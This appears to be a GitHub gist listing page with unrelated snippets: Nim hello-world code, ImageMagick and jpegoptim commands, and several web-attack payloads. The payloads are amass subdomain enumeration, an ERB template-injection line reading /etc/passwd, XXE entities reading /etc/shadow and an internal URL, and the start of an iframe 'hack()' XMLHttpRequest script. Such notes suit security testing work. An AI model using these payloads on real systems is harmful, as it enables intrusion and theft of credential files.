This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# This is a comment | |
echo "What's your name? " | |
var name: string = readLine(stdin) | |
echo "Hi, ", name, "!" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
nim compile --run greetings.nim | |
nim compile --run greetings.nim arg1 arg2 | |
nim c -d:release greetings.nim |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#install image-magick | |
convert *.jpg -auto-orient pictures.pdf | |
#Add this beforre </policymap> in /etc/ImageMagick-6/policy.xml | |
<policy domain="coder" rights="read | write" pattern="PDF" /> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
jpegoptim --size=250k tecmint.jpeg |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ ./exrex.py "(winter|summer|spring|fall|autumn)201[678]" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# passive | |
amass enum --passive -d example.com -o example.com.subs | |
# active | |
amass enum -src -ip -brute -min-for-recursive 2 -d example.com -o example.com.subs |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#Ruby/ERB | |
<%= 7 * 7 %> | |
##Check | |
<%= File.open(‘/etc/passwd’).read %> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!--?xml version="1.0" ?--> | |
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]> | |
<userInfo> | |
<firstName>John</firstName> | |
<lastName>&ent;</lastName> | |
</userInfo> | |
<!--External Entity--> | |
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<body> | |
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script> | |
function hack() | |
{ | |
var xmlhttp; | |
if (window.XMLHttpRequest) | |
{ | |
xmlhttp=new XMLHttpRequest(); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function openChild() {child = window.open('/', 'popup', 'height=300px, width=500px');} | |
function sendMessage(input, child){ | |
let msg=input; | |
// In production, DO NOT use '*', use toe target domain | |
child.postMessage(msg,'*')// child is the targetWindow | |
child.focus(); | |
} | |
openChild() |